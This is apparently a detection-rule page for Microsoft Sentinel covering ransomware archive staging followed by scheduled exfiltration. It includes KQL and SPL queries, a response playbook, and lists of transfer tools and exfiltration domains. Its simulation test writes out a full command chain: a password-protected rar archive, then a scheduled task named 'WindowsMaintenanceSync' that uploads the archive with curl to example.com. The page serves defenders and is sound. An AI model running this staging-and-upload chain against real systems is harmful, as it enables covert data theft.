THREAT-ArchiveStaging-ScheduledExfil Microsoft Sentinel · KQL

Detect Scheduled Batch Exfiltration of Compressed Archive Staging in Microsoft Sentinel

Double-extortion ransomware affiliates routinely stage stolen data into password-protected, multi-volume compressed archives before transferring it off-network, and increasingly schedule that transfer to run in a single batch during off-hours or maintenance windows to minimise the chance of SOC observation and to blend with legitimate scheduled backup jobs. LockBit and BlackCat/ALPHV affiliates have been documented staging data with commands such as `rar.exe a -v500m -hp<password>` (password-protected, 500MB split volumes) and then invoking a transfer tool (rclone, MEGAcmd, curl/SFTP) via a Scheduled Task created specifically for the operation, timed to run during low-traffic overnight hours. Cl0p's mass-exploitation campaigns (e.g., the 2023 MOVEit Transfer exploitation) similarly relied on automated, scripted batch retrieval of staged data at scale rather than interactive, ad hoc transfers, timing collection to minimise operational footprint. This detection targets the composite chain rather than any single step in isolation: (1) an archive utility creating multiple password-protected, size-limited volumes — the staging signature; (2) a Scheduled Task created around the same time, referencing either the archive path/extension or a known transfer tool — the scheduling signature; and (3) network egress from the same host at the scheduled time to a known exfiltration-capable destination. Correlating all three within a short window is a much higher-fidelity indicator of T1029 Scheduled Transfer than any one signal alone, since each individual step (archiving, task scheduling, network egress) has abundant legitimate uses on its own.

MITRE ATT&CK

Tactic
Exfiltration

KQL Detection Query

Microsoft Sentinel (KQL)
kusto 
let LookbackWindow = 24h;
let ArchiveTools = dynamic(["rar.exe", "winrar.exe", "7z.exe", "7za.exe"]);
let TransferTools = dynamic(["rclone.exe", "megacmd.exe", "curl.exe", "winscp.exe", "filezilla.exe", "psftp.exe"]);
// Signal 1: password-protected, split-volume archive creation (staging)
let ArchiveStaging = DeviceProcessEvents
| where Timestamp > ago(LookbackWindow)
| where FileName has_any (ArchiveTools)
| where ProcessCommandLine has_any ("-v", "-hp") or ProcessCommandLine matches regex @"-p\S+"
| extend Signal = "ArchiveStaging"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, Signal;
// Signal 2: scheduled task creation referencing an archive path/extension or a transfer tool
let ScheduledTaskCreate = DeviceProcessEvents
| where Timestamp > ago(LookbackWindow)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any (TransferTools) or ProcessCommandLine has_any (".rar", ".7z", ".zip")
| extend Signal = "ScheduledTaskCreate"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, Signal;
// Signal 3: subsequent network egress from a host that also has Signal 1 or 2, to a known exfil-capable destination
let StagingHosts = (ArchiveStaging | distinct DeviceName);
let TaskHosts = (ScheduledTaskCreate | distinct DeviceName);
let CandidateHosts = StagingHosts | union TaskHosts | distinct DeviceName;
let NetworkEgress = DeviceNetworkEvents
| where Timestamp > ago(LookbackWindow)
| where DeviceName in (CandidateHosts)
| where ActionType =~ "ConnectionSuccess"
| where RemoteUrl has_any ("mega.nz", "mega.io", "dropbox.com", "gofile.io", "transfer.sh", "sendspace.com")
    or InitiatingProcessFileName has_any (TransferTools)
| extend Signal = "NetworkEgressPostStaging"
| project Timestamp, DeviceName, AccountName=InitiatingProcessAccountName, FileName=InitiatingProcessFileName,
    ProcessCommandLine=InitiatingProcessCommandLine, Signal;
union ArchiveStaging, ScheduledTaskCreate, NetworkEgress
| sort by DeviceName, Timestamp asc
critical severity medium confidence

Correlates the full staged-and-scheduled exfiltration chain: (1) archive utilities (rar.exe, 7z.exe) invoked with split-volume (-v) and password-protection (-hp/-p) flags, the signature of ransomware-affiliate data staging; (2) schtasks.exe /create commands whose arguments reference a known transfer tool or an archive file extension, the signature of the scheduling step; and (3) network egress from any host already flagged by (1) or (2) toward known exfiltration-capable destinations or via known transfer tool processes. Reviewing all three signals together for the same DeviceName within the 24-hour window is the intended triage workflow — a single signal alone is common in legitimate IT operations.

Data Sources

Microsoft Defender for Endpoint (DeviceProcessEvents, DeviceNetworkEvents)Sysmon Event ID 1, 3Windows Security Event ID 4698 (Scheduled Task Created)

Required Tables

DeviceProcessEventsDeviceNetworkEvents

False Positives & Tuning

  • IT operations creating password-protected split archives for legitimate large-file transfer to a vendor or partner (common for sending encrypted evidence bundles, log exports, or database dumps)
  • Backup software that internally uses 7-Zip/WinRAR with split-volume options as part of its archival routine
  • Scheduled Tasks created by legitimate automation (Ansible/SCCM/Intune-deployed scripts) that happen to reference file transfer tools for authorised data movement
  • Scheduled off-hours batch jobs run by data engineering/analytics teams that both compress and transfer data as part of a documented ETL pipeline

Other platforms for THREAT-ArchiveStaging-ScheduledExfil

Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 1 adversary technique from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Archive Staging and Scheduled Off-Hours Exfiltration

    Expected signal: Sysmon Event ID 1: rar.exe with -v and -hp flags; Sysmon Event ID 1 for schtasks.exe /create referencing curl.exe; Windows Security Event ID 4698 for the created task.

Last updated: 2026-07-16 Research depth: deep
References (4)

Response Playbook

Triage

  1. Confirm both staging and scheduling signals fired on the same host within a short window — this combination has very few legitimate explanations and should be treated as high priority even before network egress is confirmed.
  2. Review the archive command line for the target source directory — this tells you what data was staged (e.g., a specific file share, database backup folder, or user profile directory).
  3. Review the scheduled task's configured trigger time and action — confirm whether it is set to run at an off-hours time inconsistent with the organisation's normal maintenance windows.
  4. Check whether the task has already executed (Task Scheduler history, Event ID 200/201) and, if so, correlate with DeviceNetworkEvents/firewall logs for actual data transfer volume at that time.
  5. Identify how the actor gained the access needed to create the scheduled task — this is typically a late-stage action following initial access, privilege escalation, and lateral movement, so review preceding activity on the host for the full intrusion chain.

Containment

  1. Disable or delete the identified scheduled task immediately to prevent the transfer from executing (or re-executing, if it is a recurring task).
  2. Isolate the host via EDR if the staged archive is still present and the scheduled transfer has not yet run.
  3. Preserve the staged archive as evidence before any deletion — do not simply delete it without extracting a copy for the investigation, since it defines the scope of what was targeted.
  4. Block network egress to any transfer-tool destination or IP identified in the scheduled task's action/arguments at the firewall.
  5. Notify data protection officer/legal if the staged archive scope includes regulated personal data or other sensitive categories.

Evidence Collection

  1. Full archive command line (source directory, volume size, whether a password was set) and, if recoverable, the archive itself
  2. Scheduled task XML definition (exported via `schtasks /query /tn <name> /xml`) showing trigger time, action, and the account context it runs under
  3. Task Scheduler operational log (Microsoft-Windows-TaskScheduler/Operational) Event IDs 106 (task registered), 200/201 (action started/completed)
  4. Windows Security Event ID 4698 record showing the full task definition XML in the event payload, including the creating user's SID
  5. Network flow/firewall logs for the scheduled execution time window, confirming destination and bytes transferred

Escalation Criteria

  • !Both archive staging and scheduled task signals confirmed on the same host — treat as an active double-extortion ransomware precursor
  • !Scheduled task has already executed and network egress to a known exfiltration-capable destination is confirmed
  • !Staged archive content confirmed to include sensitive categories (customer PII, financial records, source code, credentials)
  • !Evidence of the same TTP chain (staging + scheduling) across multiple hosts, indicating a coordinated, at-scale exfiltration operation ahead of ransomware deployment

Investigation Guide

Related Techniques

T1029 — Scheduled Transfer: the parent technique this detection directly maps toT1560.001 — Archive Collected Data: Archive via Utility: the staging step that precedes the scheduled transferT1567.002 — Exfiltration to Cloud Storage: the common transfer mechanism invoked by the scheduled task (rclone/MEGAcmd)T1053.005 — Scheduled Task/Job: Scheduled Task: the underlying persistence/execution mechanism abused to time the transferT1486 — Data Encrypted for Impact: staged exfiltration in these campaigns is almost always followed by ransomware deployment (double extortion)

Forensic Artifacts

  • >Staged archive file(s) on disk (or remnants in Recycle Bin/free space if deleted) — volume size and password protection indicate deliberate staging
  • >Scheduled task XML definition and Task Scheduler operational log entries (Event IDs 106, 140, 141, 200, 201)
  • >Windows Security Event ID 4698 (task created) and 4699 (task deleted) — the deletion event is notable if the actor cleans up after execution
  • >Windows Prefetch entries for the archive utility and transfer tool, confirming execution and approximate timestamps
  • >Command-line audit logs (Sysmon Event ID 1 or Security Event ID 4688) capturing the full archive and schtasks command lines including any embedded password

Tuning Guidance

The correlation between archive staging and scheduled task creation on the same host is the core of this detection's value — running either signal alone will produce far too much noise from legitimate IT/backup operations. Build an allowlist of known legitimate archive+schedule workflows (backup software service accounts, documented ETL pipelines, approved vendor data handoff processes) and exclude them by account name and parent process rather than suppressing the whole rule. Because the off-hours timing is itself a signal, consider adding a time-of-day weighting factor (tasks scheduled between 01:00-05:00 local time score higher) if your SOC's normal business hours are well defined. Treat any host firing both staging and scheduling signals with no matching allowlist entry as a mandatory manual review, not an auto-suppressed alert.

Hunting Queries

Hunt over 30 days for any scheduled task creation referencing a transfer tool or archive file — most environments create very few of these legitimately, so this is a good baseline-and-allowlist hunt to run before enabling the correlated detection as a real-time alert.

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "schtasks.exe" and ProcessCommandLine has "/create"
| where ProcessCommandLine has_any ("rclone", "megacmd", "curl", "winscp", ".rar", ".7z")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
| sort by Timestamp desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 earliest=-30d Image="*\\schtasks.exe" CommandLine="*/create*"
  (CommandLine="*rclone*" OR CommandLine="*megacmd*" OR CommandLine="*curl*" OR CommandLine="*.rar*" OR CommandLine="*.7z*")
| table _time, host, User, CommandLine
| sort - _time

Atomic Red Team Tests

Test 1 Simulate Archive Staging and Scheduled Off-Hours Exfiltration
windows

Creates a password-protected, split-volume archive of test data and registers a scheduled task to transfer it via a benign HTTP upload at a set time, simulating the LockBit/BlackCat staging-plus-scheduling pattern. Use only non-sensitive dummy data.

Command

powershell 
mkdir C:\Temp\stage_test && echo 'dummy data' > C:\Temp\stage_test\data.txt && "C:\Program Files\WinRAR\rar.exe" a -v500m -hptestpass C:\Temp\stage_test\archive.rar C:\Temp\stage_test\data.txt && schtasks /create /tn "WindowsMaintenanceSync" /tr "curl.exe -T C:\Temp\stage_test\archive.part1.rar https://example.com/upload" /sc once /st 02:00

Cleanup

powershell 
schtasks /delete /tn "WindowsMaintenanceSync" /f && Remove-Item -Recurse -Force C:\Temp\stage_test -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: rar.exe with -v and -hp flags; Sysmon Event ID 1 for schtasks.exe /create referencing curl.exe; Windows Security Event ID 4698 for the created task.

Expected Detection

Alert fires on both the ArchiveStaging and ScheduledTaskCreate signals for the same DeviceName within the correlation window; escalates to high priority if network egress at the scheduled time is also observed.

Related Detections

Tactic Hub

TA0010Exfiltration

Detection Variants (3)

Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.

Parent Technique

T1029Scheduled Transfer

Related Techniques

T1029Scheduled TransferT1560.001Archive via UtilityT1567.002Exfiltration to Cloud StorageT1053.005Scheduled TaskT1486Data Encrypted for Impact

Same Tactic: Exfiltration

Popular Detections